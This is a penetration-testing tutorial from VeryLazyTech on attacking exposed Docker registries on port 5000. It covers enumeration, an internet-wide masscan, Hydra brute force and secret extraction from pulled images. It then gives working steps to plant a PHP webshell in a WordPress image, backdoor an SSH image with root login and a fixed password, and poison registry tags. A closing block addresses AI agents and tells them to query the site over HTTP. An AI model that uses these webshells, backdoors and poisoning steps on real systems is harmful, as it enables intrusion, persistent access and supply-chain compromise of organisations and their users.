# Docker Registry - PORT 5000

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic Info

A **Docker registry** is a storage and distribution system for Docker images. These images are grouped into repositories, and each repository can store multiple tagged versions of an application or service. Registries allow developers to **upload (push)** their images and **download (pull)** them to deploy containers anywhere.

By default, Docker uses **DockerHub** as its public registry, but organizations often set up their own **on-premise Docker registries**—either with the open-source distribution or the commercial Docker Trusted Registry. Other public registries also exist across the internet.

For example, pulling an image from a private registry looks like this:

```bash
docker pull my-registry:9000/foo/bar:2.1
```

This fetches version `2.1` of the `foo/bar` image from the registry at `my-registry:9000`. From DockerHub, the same image (if `2.1` is the latest) can be pulled with a simpler command:

```bash
docker pull foo/bar
```

The default port for Docker Registry is **5000**, which appears in scans as:

```
PORT     STATE SERVICE  VERSION
5000/tcp open  http     Docker Registry (API: 2.0)
```

If this service is exposed without authentication, it can leak sensitive images, configs, and secrets directly to an attacker.

***

## Enumeration

The easiest way to discover a Docker Registry service is via **Nmap**:

```bash
nmap -p 5000 <target>
```

However, since Docker Registry is **HTTP-based**, it could also be hidden behind proxies or reverse proxies — meaning Nmap alone might not always detect it.

#### Fingerprinting Tricks:

* Accessing `/` → usually nothing is returned.
* Accessing `/v2/` → the service often returns an empty JSON:

```json
{}
```

* Accessing `/v2/_catalog` → may list all available repositories:

```json
{"repositories":["alpine","ubuntu"]}
```

* If authentication is enabled, you’ll often see:

```json
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
```

These simple checks confirm the service and tell you whether it’s open to the world or locked down.

***

**Using `.nse` (Nmap script engine)**

The default Docker Registry runs on **TCP port 5000**. Start by scanning:

```bash
nmap -p5000 --script http-docker-registry-discover <target>
```

Or with **Masscan** for a wide sweep:

```bash
masscan -p5000 0.0.0.0/0 --rate=10000 -oG docker.txt
```

If port 5000 is open, it’s worth testing further.

***

### HTTP/HTTPS (Using curl) <a href="#httphttps" id="httphttps"></a>

Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:

```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```

**Enumerate tags**

```bash
curl http://<target>:5000/v2/app/tags/list
```

This shows available versions of the image.

#### Fetch the Manifest of a Specific Tag

```bash
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
```

#### Download a Blob (Layer)

```bash
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
```

#### Extract and Inspect the Layer

```bash
tar -xf blob1.tar
```

***

### Enumeration Using Docker

Beyond `curl`, you can interact directly with the target registry using the Docker client. This is often more convenient for downloading and inspecting images.

#### 1. Pull an Image from the Target Registry

Once you’ve enumerated the available repositories with `/v2/_catalog`, you can pull them directly:

```bash
docker pull 10.10.10.10:5000/ubuntu
```

#### 2. Review Image History

After pulling, check the history of the image to reveal the commands used to build its layers. These often expose secrets, build scripts, or configuration mistakes:

```bash
docker history 10.10.10.10:5000/ubuntu
```

Example output:

```
IMAGE               CREATED             CREATED BY                                      SIZE    COMMENT
ed05bef01522        2 years ago         ./run.sh                                        46.8MB
<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB
```

**Why this matters:** Developers often bake in sensitive files during builds, then forget to remove them. Even if later layers overwrite these files, they remain in history.

#### 3. Run the Image

Start a container and obtain a shell:

```bash
docker run -it 10.10.10.10:5000/ubuntu bash
```

This drops you inside the container filesystem. Leave this running for exploration.

#### 4. Get Another Shell Inside the Running Container

From another terminal, list running containers:

```bash
docker ps
```

Then connect to it:

```bash
docker exec -it 7d3a81fe42d7 bash
```

**Pro Tip:** Using `docker exec`, you can pivot inside the container, look for SSH keys, environment variables, or misconfigured services — often leading to privilege escalation or lateral movement inside the target’s infrastructure.

***

## Automate tools for enum

### Enumeration using DockerRegistryGrabber

Manually enumerating a Docker Registry with `curl` works, but it can be **slow and repetitive** when dealing with many repositories, multiple tags, and authentication. That’s where [**DockerRegistryGrabber**](https://github.com/Syzik/DockerRegistryGrabber) comes in.

**DockerRegistryGrabber** is a Python tool that allows penetration testers to **enumerate and dump Docker registries** — both with and without authentication. It automates:

* Enumerating repositories (`/v2/_catalog`)
* Listing available image tags (`/v2/<repo>/tags/list`)
* Pulling and downloading layers locally for analysis
* Supporting Basic Authentication (username:password)

This makes it a powerful choice when exploring large or hidden registries that could store sensitive images.

#### Installation

Clone the repository and install dependencies:

```bash
git clone https://github.com/Syzik/DockerRegistryGrabber
cd dockerRegistryGrabber
pip install -r requirements.txt
```

#### Usage Examples

* **Unauthenticated Enumeration:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000
  ```

  This will fetch repositories from the open registry.
* **Authenticated Enumeration:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -a username:password
  ```

  Useful if the registry is protected by Basic Auth.
* **Dumping Images:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -d
  ```

  This downloads the full image layers for offline inspection (config files, secrets, etc.).

<figure><img src="/files/mWY6s6jbbZ2nud7zwojM" alt=""><figcaption></figcaption></figure>

***

### Authentication

Docker Registry may also be configured to require **authentication**. The first check is as simple as hitting the catalog endpoint with `curl`:

```bash
curl -k https://192.25.197.3:5000/v2/_catalog
```

#### Possible Responses

* **If authentication is required:**

```json
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
```

* **If no authentication is required:**

```json
{"repositories":["alpine","ubuntu"]}
```

👉 If you encounter authentication, you can attempt **brute force** attacks against the registry’s credentials. Common wordlists like **rockyou.txt** can be used with tools such as Hydra or custom scripts.

Once valid credentials are discovered, you can use them to enumerate the registry. With `curl`, the syntax is:

```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```

**Hydra**

```
hydra -L /usr/share/seclists/wordlists/simple-users.txt  -P /usr/share/brutex/seclists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```

This will return the repositories available under that account, which you can then pull and inspect for secrets or misconfigurations.

***

## Exploitation

### Pulling Sensitive Images

If pulling is allowed:

```bash
docker pull <target>:5000/app:latest
```

Then inspect the image layers:

```bash
docker history <target>:5000/app:latest
docker run -it <target>:5000/app:latest /bin/sh
```

Hackers often extract secrets from inside these images. Look for:

* `.env` files
* Configs in `/app/config` or `/root/`
* Hardcoded passwords in source code

Example:

```bash
docker run --rm -it <target>:5000/backend:prod cat /app/config.yaml
```

***

### Backdooring Docker Images

Once you can **pull and push images** to a misconfigured Docker Registry, you effectively have the power to inject malicious code into production workloads. Two common exploitation techniques are **WordPress image backdooring** and **SSH image backdooring**.

#### Backdooring a WordPress Image

If the registry contains a WordPress image, you can embed a simple PHP webshell:

**1. Create your webshell**

```php
// shell.php
<?php echo shell_exec($_GET["cmd"]); ?>
```

**2. Create a Dockerfile that inserts it into WordPress**

```dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```

**3. Build and push the malicious image**

```bash
docker build -t 10.10.10.10:5000/wordpress .
docker images
docker push 10.10.10.10:5000/wordpress
```

**Result:** Next time the target pulls and runs this WordPress image, you’ll have remote code execution via the `/app/shell.php?cmd=id` endpoint.

***

### Backdooring an SSH Server Image

Attackers can also abuse SSH-based images for persistent access.

**1. Pull and run the target’s SSH image**

```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```

**2. Extract the SSH configuration file**

```bash
docker cp <container_id>:/etc/ssh/sshd_config .
```

Modify it to allow root login:

```
PermitRootLogin yes
```

**3. Create a Dockerfile that adds the modified config & a backdoor password**

```dockerfile
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```

**4. Build and push the backdoored image**

```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
docker images
docker push 10.10.10.10:5000/sshd-docker-cli
```

**Result:** If deployed, you gain root SSH access with the password you injected.

***

### Poisoning the Registry

If **push** is enabled without authentication, the situation is catastrophic. An attacker can **poison existing images**:

```bash
docker tag backdoor:latest <target>:5000/app:latest
docker push <target>:5000/app:latest
```

Now every time a developer pulls `app:latest`, they get your backdoor. This is **supply chain compromise** at its worst.

***

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://whop.com/verylazytech/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/docker-registry-port-5000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
